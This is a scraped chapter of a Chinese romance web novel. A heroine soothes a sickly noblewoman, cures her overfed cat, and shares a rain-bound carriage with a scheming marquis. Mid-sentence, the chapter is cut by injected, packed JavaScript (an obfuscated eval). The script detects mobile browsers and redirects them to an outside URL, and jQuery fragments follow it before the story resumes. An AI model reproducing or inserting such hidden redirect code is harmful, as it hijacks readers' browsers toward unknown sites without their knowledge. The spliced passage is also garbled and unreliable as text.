9.第 9 章
作品:《窃侄妻》 崔月仪哭着哭着呼吸渐渐急促,脸颊染满病态的酡红,手按着胸口,嘴唇似乎都憋得发紫。
因她此前屏退了婢女,阿忆将叶蓁送到这儿也离开,此时水榭里只有她们两人。
叶蓁吓得顾不得其他,一把抓住崔月仪的手腕,用力按住一个穴位,道:“会有点疼,但是你忍一忍,很快就好了。”
崔月仪喘不过气,更说不出话,只能用眼神狠狠瞪她,疑心这乡下女要趁机谋害她。
可很快,她的呼吸就平顺下来,脸颊上的霞红渐渐褪去,整个人如劫后余生般重重喘了口气。
叶蓁见她苍白的脸颊上布满泪痕,实在是楚楚可怜,于是用帕子给她擦着脸上的泪,道:“这是我们家乡的土方子,以后你若是哭得喘不过气来,就用力按这个穴位,一定有用。”
崔月仪撅着嘴很不甘心,她是什么人轮得到她来教自己。
过了会儿才反应过来她在给自己擦眼泪,气得将帕子抢过来扔掉道:“无需你乱献殷勤!”
叶蓁眨了眨眼,不知该说什么好。
原本想问的事也不知怎么问出口,这崔小娘子实在是太娇弱了,和她以前养的一只兔子似的,生怕让她气着惊着,一不小心可能就会晕倒过去。
此时有婢女听见这边的动静,连忙走进来伺候崔月仪喝药,先将药碗递过去,待她喝下后马上送上饴糖,生怕姑娘被苦着了。
然后,另一位婢女也走进来,怀里竟抱着一直身型肥硕的猫儿。
那只猫通体雪白,长毛被打理的十分顺滑,两只眼睛是漂亮的蓝色,让叶蓁忍不住感叹,富贵人家的猫儿看着都这么贵气。
可那只猫好似没什么精神,懒懒靠在婢女的手臂里,圆圆的蓝眼睛也向下耷拉着。
婢女抱着猫走到崔月仪身边,弯腰忧虑地道:“拾月还是不吃东西,已经整整两日了,就只吃了一条鱼干。”
崔月仪心疼地摸着猫儿雪白的颈毛,凄凄地道:“拾月自小陪着我,与我心意互通,我茶饭不思,它自然也吃不下东西。”
叶蓁一直观察那只猫,这时忍不住道:“崔娘子,这只猫吃不下东西不是因为通你的心意,是它吃得太多,积食了。
崔月仪对她怒目而视:“你胡说!”
叶蓁却很自信地道:“我家里养过很多动物,有什么毛病我一看就知道,若崔娘子信我,就让我先摸摸这只猫的肚子。”
见她走过来,被抱在怀中的白猫陡然瞪大了眼,尾巴上的毛儿竖起,“嗷呜”一声惊到了树上的雀鸟。
雀鸟展翅飞起,一路飞到主院花厅的檐角上落下,垂下头用尖喙梳理着羽毛。
不知过了多久,花厅里的霍砚时终于和中书令崔乾议完事,他未要主人相送,独自走到门外的回廊上。
方才他向崔乾道歉,说霍昀在澧县被那名叫做叶蓁的女子救了性命,一时心软才将她带回了京城,这事是做的太混账,但年轻人总会有行差踏错的时候。
他还向崔乾承诺,半年内,他必定会让霍昀同她断的一干二净,再亲自上崔家负荆请罪,请求崔娘子的原谅。
等到春闱后,只要霍昀能考上进士,他会举荐他直接升到工部郎中,待到崔乾满意后,两家就可以继续议亲。
只是这法子太委屈崔家娘子,若她还愿意嫁给霍昀,需得多等一些时日,这期间若崔家能选到更合心意的夫婿,侯府必定会送上大礼,为她添上份丰厚的嫁妆。
他敢抛出这样的筹码,就是知道崔乾不会拒绝。
因为崔乾太清楚女儿的性子,崔月仪自小孤僻又厌世,连家中嫡亲的弟弟妹妹都不爱来往,更没有其他的朋友,从小到大只是依赖霍昀。再加上体弱多病,让她另嫁他人,只怕能去掉半条命。
而以霍砚时如今的权势,也找不到比靖武侯府更好的结亲对象了。
所以崔乾虽然心里恨得牙痒痒,表面上也只能冷漠地回应,让他记得今日承诺,全都做到了才有继续议亲的可能。
此时,霍砚时抬头望着檐角那只鸟雀,揉了揉眉心想:现在最紧要的事,就是在半年内让两人彻底分开,这样霍昀才能心甘情愿再求娶崔月仪。
于是他边往外走边问身后的莫骁道:“她已经见到崔月仪了吗?”
莫骁点头道:“阿忆陪着她过去了,就在那边的水榭里,到现在已经快一个时辰了。”
霍砚时点头道:“时候差不多了,我们也过去吧。”
两人一路往水榭走,走过湖边的一棵柏树旁,撞见了匆忙赶过来回报的阿忆。
霍砚时看了她一眼,问道:“她现在在做什么?”
阿忆不知该怎么说,犹豫了会儿如实答道:“在……喂猫。”
霍砚时皱起眉,疑心自己听错了。
阿忆叹了口气,道:“侯爷自己去看看吧。”
霍砚时心中越发疑惑,按照他此前的计划,崔月仪生的貌美又是饱读诗书的贵女,叶蓁同她见了面,知道她对霍昀一番痴心,会觉得自愧弗如,至少心里会埋下一根刺。
可他走近水榭时,远远就看见金枝玉叶的崔家贵女,竟同那农女一起蹲在栏杆旁,任由刺绣精致的裙裾搭在在木板地上。
而她们面前趴着一只通体雪白的猫儿,正将面前摆着的碎肉全吃完,然后满足地舔了舔爪子。
与猫儿面对面的两人同时露出笑容,崔月仪激动地看向叶蓁,虚弱的声音都变亮几分,道:“它真的全都吃了!你还真会治病啊!”
莫骁和阿忆互看一眼:这好像不该是侯爷想看到的结果吧。
霍砚时却望向叶蓁沐在暖阳中的脸,潋滟的水色湖光映着她的笑容,也许是因为刚治好了崔月仪的猫儿,她不似在侯府时唯唯诺诺,显
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17452103|201017||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得神采飞扬、生机勃勃。
连向来病弱厌世的崔月仪,都因在她身边而显出不同寻常的生命力
他好像突然能窥见到,侄儿为何会非这女子不可。
霍砚时自柏树的阴影下慢慢朝水榭走去,直到同她一起沐在阳光里,弯腰道:“时辰差不多了,该回府去了。”
等两人离开崔家坐上了回程的马车,霍砚时将倒好的茶水推过去,状似随意地问道:“你和崔娘子聊了些什么?”
叶蓁垂目端起瓷杯,有点尴尬地道:“本来想问关于夫君的事,可她说的话我听不太懂,而且她还哭得上气不接下气,我不知道该怎么办才好。后来我发现她的猫儿积了食吃不下东西,就帮她治好了她的猫,她还说感谢我呢。”
她叹了口气道:“崔娘子……是个很好的女郎。”
她心不在焉地将瓷杯放在唇边,喝了口才发现里面装的不是苦茶,而是上次那种清甜的姜蜜水。
惊讶地抬眸,看见霍砚时对她笑着道:“你说过喜欢喝,就给你备着了。”
叶蓁心中十分感激,这几日都未下雨,马车里的空气更是闷热又粘稠,还好有这杯姜蜜水,甜得好像能把一切愁绪都冲淡。
她慢慢将目光转向窗外,很专注地望着天上堆积的云朵,轻声道:“马上就要下暴雨了。”
霍砚时也跟她转头看向窗外,此时晴空万里,哪里像要落雨的样子。
于是他好奇问道:“你怎么知道的?”
叶蓁认真道:“在我们老家,要下暴雨前,必须赶着把院子里晒的小麦收起来,所以我从小就会看天气。小叔父若信我,就和我一起等等。”
霍砚时低头笑了笑,又为她倒了杯姜蜜水,然后端着杯盏同她一起望向车窗外,很耐心地等候。
果然在转过一个街角后,突然有雷声轰鸣,天际布满了黑云,转眼就有密集的雨点从天幕砸了下来。
见霍砚时惊讶地转头看她,叶蓁晶亮的眼眸中露出得意之色,可很快又被她掩盖下去,因为不敢在侯爷面前太过张扬。
这场暴雨越下越大,直到马车不得不停下,车夫披着蓑衣站在门外喊:“侯爷,雨实在太大了,前面视线都看不清,得先避一下再赶路。”
霍砚时点头应允后,车夫就找了处茶舍把马栓好,自己也坐在雨棚下,脱了蓑衣准备等雨变小再走。
此时车厢里两人仍然对坐着,从车顶滑落的巨大雨幕似将他们和外界隔开一隅。
叶蓁自竹帘朝外望去,天地都被雨水映得灰蒙蒙的,几乎看不清外面的景象。
心里有一块潮湿的地方似也被唤醒,她垂下头,很轻地开口道:“夫君他,曾经给崔娘子写过很多信。”
霍砚时黑沉的眸子凝在她脸上,伴着窗外淅沥的雨声,很清晰地看见一滴泪从她眼中滑落,跌进杯盏中又失了踪迹。

